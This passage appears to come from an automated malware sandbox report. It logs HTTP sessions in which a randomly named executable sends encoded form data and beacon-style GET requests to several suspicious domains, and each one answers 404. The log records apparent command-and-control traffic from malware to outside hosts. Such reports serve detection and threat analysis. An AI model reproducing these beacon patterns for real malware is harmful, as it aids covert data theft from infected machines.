                                                                Data Raw: 4a 4e 4c 38 3d 47 56 32 6f 56 70 48 78 4e 39 77 61 7a 45 36 54 4f 65 79 52 67 69 79 6a 57 4a 2f 78 30 72 56 71 52 41 37 30 49 4a 6b 78 6c 6e 6b 37 30 6e 32 61 46 68 6d 51 37 66 44 4d 5a 67 2b 33 55 77 35 75 35 4b 69 6f 6b 58 55 47 36 33 76 42 75 6a 58 38 79 75 58 78 56 49 46 4b 66 55 64 57 2b 73 66 43 56 76 34 63 52 4e 38 71 48 47 58 30 2f 61 72 51 42 76 4c 39 74 57 55 48 49 48 32 33 44 61 42 34 4b 76 59 7a 67 31 65 5a 51 37 44 71 69 44 72 4c 67 48 79 33 41 36 4f 52 50 62 39 79 4a 43 45 63 49 49 68 4f 2b 30 45 35 78 32 36 6a 34 57 62 67 4c 35 6c 48 59 4d 74 72 34 4c 48 76 64 44 74 51 47 43 4a 34 55 49 54 46 7a 62 37 67 6a 53 4e 38 71 67 3d 3d
                                                                Data Ascii: JNL8=GV2oVpHxN9wazE6TOeyRgiyjWJ/x0rVqRA70IJkxlnk70n2aFhmQ7fDMZg+3Uw5u5KiokXUG63vBujX8yuXxVIFKfUdW+sfCVv4cRN8qHGX0/arQBvL9tWUHIH23DaB4KvYzg1eZQ7DqiDrLgHy3A6ORPb9yJCEcIIhO+0E5x26j4WbgL5lHYMtr4LHvdDtQGCJ4UITFzb7gjSN8qg==
                                                                Nov 20, 2024 10:26:54.747226000 CET533INHTTP/1.1 404 Not Found
                                                                Date: Wed, 20 Nov 2024 09:26:54 GMT
                                                                Server: Apache
                                                                Content-Length: 389
                                                                Connection: close
                                                                Content-Type: text/html
                                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED]
                                                                Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                11192.168.2.957464209.74.77.108803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:26:56.718564034 CET1750OUTPOST /grm8/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 1229
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.mindfulmo.life
                                                                Origin: http://www.mindfulmo.life
                                                                Referer: http://www.mindfulmo.life/grm8/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 47 56 32 6f 56 70 48 78 4e 39 77 61 7a 45 36 54 4f 65 79 52 67 69 79 6a 57 4a 2f 78 30 72 56 71 52 41 37 30 49 4a 6b 78 6c 6e 73 37 30 52 43 61 45 43 4f 51 36 66 44 4d 61 67 2b 79 55 77 34 72 35 4f 47 73 6b 58 6f 34 36 79 6a 42 74 41 76 38 36 2f 58 78 4d 34 46 4b 43 45 64 56 36 73 65 57 56 76 4a 56 52 4e 73 71 48 47 58 30 2f 63 58 51 50 74 6a 39 76 57 55 45 50 48 32 42 48 61 42 55 4b 75 77 46 67 31 4b 7a 51 4b 6a 71 6c 6a 37 4c 76 56 61 33 4e 36 4f 54 43 37 39 71 4a 44 34 39 49 49 39 43 2b 33 59 66 78 30 71 6a 37 67 47 52 62 62 56 6e 4f 62 42 55 32 49 37 30 61 6b 56 5a 4d 54 59 43 4f 64 4c 6c 72 2b 65 6a 77 6a 4d 70 78 4d 2b 73 6c 55 35 43 39 2f 65 78 56 4f 52 46 70 63 4e 68 34 46 5a 58 54 4e 4c 30 47 69 71 64 38 32 4a 32 6d 6f 77 4f 55 50 6e 44 34 79 67 68 79 43 65 43 47 64 6e 66 2b 47 79 54 4f 41 77 2b 33 2f 78 56 77 34 57 75 39 39 79 65 59 73 4c 73 66 41 54 52 76 6a 4b 54 74 4b 5a 2f 4c 51 4d 5a 33 4b 51 33 47 63 55 44 47 70 61 6f 51 63 50 37 31 51 73 77 4d 79 53 2b 75 4c 2b 43 49 [TRUNCATED]
                                                                Data Ascii: JNL8=GV2oVpHxN9wazE6TOeyRgiyjWJ/x0rVqRA70IJkxlns70RCaECOQ6fDMag+yUw4r5OGskXo46yjBtAv86/XxM4FKCEdV6seWVvJVRNsqHGX0/cXQPtj9vWUEPH2BHaBUKuwFg1KzQKjqlj7LvVa3N6OTC79qJD49II9C+3Yfx0qj7gGRbbVnObBU2I70akVZMTYCOdLlr+ejwjMpxM+slU5C9/exVORFpcNh4FZXTNL0Giqd82J2mowOUPnD4yghyCeCGdnf+GyTOAw+3/xVw4Wu99yeYsLsfATRvjKTtKZ/LQMZ3KQ3GcUDGpaoQcP71QswMyS+uL+CIk6L3ALyBMxNC6tCBusXwAfzGBEU2DpvYif1wo2uPUqneOvemH4feuwjTjlYCJKSNZa42yjH+H81XOYKmjUuxbq5JXfkGZHUAx4C25VoVDIJOFucF2mGQjFsHHt20mEJOl2M4Crmta1zRpi8rzy75W+9vRYwroulzBrPKjymdwMZDYRY3wLo0EuYjzwSpG1vDdU6fCyFgOQCBcbRLnXyxKLMRBIoL+03TTnZn5eqnrQwcaQD/HvLKUkrkPMhH4l2/aJ4vqgHw2fZPlifbA7OAutFImRU1wUXqP2VJ4MRoX8eYAlgF62jxNV3Ly7n2BpSxgqTIX9jvb1zJipVgSDjcwe3u354WgimlkHs6mSgdOjncqqmsmjAD3+9PD5VtH56XTxj07bsHrMd+ydLpq0KjnEabzMkmEvRAchVOx/4mwtSuYeWMUJfVX8CNz4Q1fuvqLng/+UybICXkUbJfVL11FM3nj4eGj+kghiZbmdPmX7GNyWW3e32WdJ1algddFwMdVCmN/sq5tUdQ38Qll0BprgsA6ppNX6gdwCiIN/nT+3jIZv+6b2Fo+F34TBoFwXxWWVSOmL+HKDqbmjH/s1xC1vn/JXsnob2kGJ+gQKJwmM1cDNLtx9E6EaZ60lY3qQ+9QuEfGQMZmqo1reIYbWfq5O4R1OCue7mEkP [TRUNCATED]
                                                                Nov 20, 2024 10:26:57.349984884 CET533INHTTP/1.1 404 Not Found
                                                                Date: Wed, 20 Nov 2024 09:26:57 GMT
                                                                Server: Apache
                                                                Content-Length: 389
                                                                Connection: close
                                                                Content-Type: text/html
                                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED]
                                                                Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                12192.168.2.957465209.74.77.108803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:26:59.262665987 CET451OUTGET /grm8/?JNL8=LXeIWcjRI+0vwDaXEde7oG2YWcXnzKtvPQ+DeJcDhGcq3DSHHwCG/Mepb2eQXiRJ2aihtUY8szHS/Cbz5IjtRPdFdlkmtueAUvF6RpU0Y2jb/KOkZA==&X88x4=H6Ch8lj0uBw HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Language: en-US,en;q=0.5
                                                                Connection: close
                                                                Host: www.mindfulmo.life
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Nov 20, 2024 10:26:59.842037916 CET548INHTTP/1.1 404 Not Found
                                                                Date: Wed, 20 Nov 2024 09:26:59 GMT
                                                                Server: Apache
                                                                Content-Length: 389
                                                                Connection: close
                                                                Content-Type: text/html; charset=utf-8
                                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED]
                                                                Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                13192.168.2.95746635.220.176.144803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:27:06.841368914 CET719OUTPOST /z7sc/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 193
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.bienmaigrir.info
                                                                Origin: http://www.bienmaigrir.info
                                                                Referer: http://www.bienmaigrir.info/z7sc/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 6f 72 61 6b 31 30 57 53 6f 49 69 55 69 57 69 4e 56 69 56 52 68 45 55 75 65 6a 69 51 6f 6a 71 39 35 77 43 4c 6e 70 45 78 62 6f 38 47 57 36 43 37 35 7a 4c 76 4b 61 6e 58 4c 63 54 2b 45 63 35 38 62 6e 51 4e 41 78 34 6a 72 35 41 75 4c 4d 4a 74 68 38 38 79 53 6b 73 64 56 4c 49 54 46 35 38 30 44 61 64 53 4b 68 6d 46 76 73 58 63 4a 76 2b 6e 66 69 56 32 41 54 38 72 66 58 44 6a 6b 43 32 63 4a 66 78 4e 30 44 50 61 32 4e 66 35 31 72 70 49 62 66 71 76 45 34 42 64 76 30 6b 6d 75 61 31 7a 38 35 30 6d 33 44 36 58 69 76 7a 7a 44 50 6d 70 30 73 78 69 61 56 65 54 57 53 4f 31
                                                                Data Ascii: JNL8=orak10WSoIiUiWiNViVRhEUuejiQojq95wCLnpExbo8GW6C75zLvKanXLcT+Ec58bnQNAx4jr5AuLMJth88ySksdVLITF580DadSKhmFvsXcJv+nfiV2AT8rfXDjkC2cJfxN0DPa2Nf51rpIbfqvE4Bdv0kmua1z850m3D6XivzzDPmp0sxiaVeTWSO1
                                                                Nov 20, 2024 10:27:07.710618019 CET289INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Wed, 20 Nov 2024 09:27:07 GMT
                                                                Content-Type: text/html
                                                                Content-Length: 146
                                                                Connection: close
                                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                14192.168.2.95746735.220.176.144803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:27:09.395175934 CET743OUTPOST /z7sc/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 217
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.bienmaigrir.info
                                                                Origin: http://www.bienmaigrir.info
                                                                Referer: http://www.bienmaigrir.info/z7sc/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 6f 72 61 6b 31 30 57 53 6f 49 69 55 6a 7a 79 4e 54 44 56 52 6e 6b 55 74 62 6a 69 51 78 54 71 35 35 77 4f 4c 6e 6f 41 68 62 61 59 47 57 65 47 37 2b 32 2f 76 66 61 6e 58 54 73 54 42 41 63 35 4a 62 6e 4e 2b 41 30 51 6a 72 35 55 75 4c 4d 35 74 67 4e 38 78 54 30 73 44 59 72 49 52 4b 5a 38 30 44 61 64 53 4b 68 69 38 76 73 66 63 49 66 4f 6e 66 41 74 33 47 6a 38 6f 59 58 44 6a 33 53 32 59 4a 66 78 6a 30 42 37 67 32 4f 6e 35 31 70 42 49 61 4f 71 77 4b 34 42 62 67 55 6c 6d 70 36 41 34 2f 62 41 59 76 6a 2b 74 36 4a 6d 58 4e 4f 61 33 6c 65 34 35 50 43 65 30 52 31 48 64 2b 71 4c 59 58 63 4e 42 6a 6e 59 71 33 33 4e 54 39 33 43 47 37 67 3d 3d
                                                                Data Ascii: JNL8=orak10WSoIiUjzyNTDVRnkUtbjiQxTq55wOLnoAhbaYGWeG7+2/vfanXTsTBAc5JbnN+A0Qjr5UuLM5tgN8xT0sDYrIRKZ80DadSKhi8vsfcIfOnfAt3Gj8oYXDj3S2YJfxj0B7g2On51pBIaOqwK4BbgUlmp6A4/bAYvj+t6JmXNOa3le45PCe0R1Hd+qLYXcNBjnYq33NT93CG7g==
                                                                Nov 20, 2024 10:27:10.252645969 CET289INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Wed, 20 Nov 2024 09:27:10 GMT
                                                                Content-Type: text/html
                                                                Content-Length: 146
                                                                Connection: close
                                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                15192.168.2.95746835.220.176.144803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:27:11.945143938 CET1756OUTPOST /z7sc/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 1229
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.bienmaigrir.info
                                                                Origin: http://www.bienmaigrir.info
                                                                Referer: http://www.bienmaigrir.info/z7sc/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 6f 72 61 6b 31 30 57 53 6f 49 69 55 6a 7a 79 4e 54 44 56 52 6e 6b 55 74 62 6a 69 51 78 54 71 35 35 77 4f 4c 6e 6f 41 68 62 61 51 47 57 72 53 37 34 56 58 76 4e 71 6e 58 4e 63 54 36 41 63 35 51 62 6e 45 57 41 30 63 56 72 37 73 75 4c 74 5a 74 6f 66 55 78 4b 6b 73 44 48 37 49 51 46 35 39 77 44 61 4e 73 4b 68 53 38 76 73 66 63 49 64 6d 6e 49 43 56 33 45 6a 38 72 66 58 44 52 6b 43 32 38 4a 66 49 65 30 42 76 77 32 2b 48 35 32 4a 52 49 63 34 65 77 43 34 42 5a 6c 55 6c 49 70 36 63 33 2f 62 4d 2b 76 69 36 48 36 4f 71 58 4d 4b 36 70 34 76 67 47 59 68 32 30 57 6b 6a 6a 6e 39 7a 71 59 39 6b 35 31 31 77 66 75 6b 6b 69 34 45 66 6b 37 37 42 67 2f 59 58 64 52 7a 2b 79 68 42 7a 58 51 6b 51 71 6c 6d 30 2f 6b 57 73 67 59 56 68 77 58 7a 73 31 67 2b 61 44 77 70 43 6d 46 4e 71 4a 7a 6f 6a 4b 65 6e 58 66 32 76 71 51 58 75 38 47 64 51 59 5a 65 43 6b 51 66 78 39 6e 33 43 65 49 65 4b 67 73 62 64 72 7a 63 65 68 58 53 39 53 51 45 6f 6e 6d 75 36 32 6b 46 6b 2f 67 36 56 68 72 57 4c 50 69 36 73 30 73 67 52 4c 59 36 [TRUNCATED]
                                                                Data Ascii: JNL8=orak10WSoIiUjzyNTDVRnkUtbjiQxTq55wOLnoAhbaQGWrS74VXvNqnXNcT6Ac5QbnEWA0cVr7suLtZtofUxKksDH7IQF59wDaNsKhS8vsfcIdmnICV3Ej8rfXDRkC28JfIe0Bvw2+H52JRIc4ewC4BZlUlIp6c3/bM+vi6H6OqXMK6p4vgGYh20Wkjjn9zqY9k511wfukki4Efk77Bg/YXdRz+yhBzXQkQqlm0/kWsgYVhwXzs1g+aDwpCmFNqJzojKenXf2vqQXu8GdQYZeCkQfx9n3CeIeKgsbdrzcehXS9SQEonmu62kFk/g6VhrWLPi6s0sgRLY6m/QiZXLP625T0Gp2aCr6lb/lkPLnOAqZGtM4hiIpG55zYwecn3KYf+IpPcZ76iVWwIrqLujH9YK4ikgrKx4MWb0GgVjsIADgKuO9zqtBhhrGXdwW+CQpaFMGSwZQJ6yYnW2pQ/f0q/6G07wpmcN/McXxBHuxSYxhPEyzbFkD3i1BIgLnxiRDkAVhh3S1YB+fhNK3NVTS88+zhaBKtVLlrcXKT4CVAsk94nHXu633dce+HvnXGO5COpceMady82tAQsgKB043NlC6NuUfbHNP8Ppd4mW+pFuz1VzwJr8FavdHt4y27LRBC6Ms5XT3Vn7reyONcAIjuHPPIqygo+rUkz3Q8qpdeZBJaKxEyjBTAe7Wgk+lgxoeLlViSofBkA1+W0+UnrjIktywlaMllTPBNeSrmWb5jg2n4jGvAYjudU+la6CyTQotOzX8tgBQM4xegXuhN4Uo34a4e45A0w48bt4ygqeAAhWix0Xu3RnvBvgFVzhep9QxAQIwuOL012tql8o2VfiU1QTc7bh0GwNQhlkiB6IEdTOYClP4AkgOWLeNr4eOk1fDlachxvlYSe7skJrbzzjRIu64sC4MGfmWVJHiZAfypgU6iJ/OUhFtA+aRkn7o4s3BPG6xHikEUBjrMEs17oFJm+GfGkuePxvFTUNyRaQ3Bowoq2 [TRUNCATED]
                                                                Nov 20, 2024 10:27:12.795098066 CET289INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Wed, 20 Nov 2024 09:27:12 GMT
                                                                Content-Type: text/html
                                                                Content-Length: 146
                                                                Connection: close
                                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                16192.168.2.95746935.220.176.144803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:27:14.486010075 CET453OUTGET /z7sc/?JNL8=lpyE2AbPqI/20nbKSARmowg0bFSQhSm/nj7uqY0yeMpYT6Ph3E36c6D0EpnRPNVSfUYtH00jj9MWE9I4iZUmXCU7bY8Fe8ByboZfJUuFgcbAB+feKg==&X88x4=H6Ch8lj0uBw HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Language: en-US,en;q=0.5
                                                                Connection: close
                                                                Host: www.bienmaigrir.info
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Nov 20, 2024 10:27:15.338485956 CET289INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Wed, 20 Nov 2024 09:27:15 GMT
                                                                Content-Type: text/html
                                                                Content-Length: 146
                                                                Connection: close
                                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                17192.168.2.957470188.114.96.3803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:27:20.429301977 CET734OUTPOST /983l/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 193
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.exitomagnetico.online
                                                                Origin: http://www.exitomagnetico.online
                                                                Referer: http://www.exitomagnetico.online/983l/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
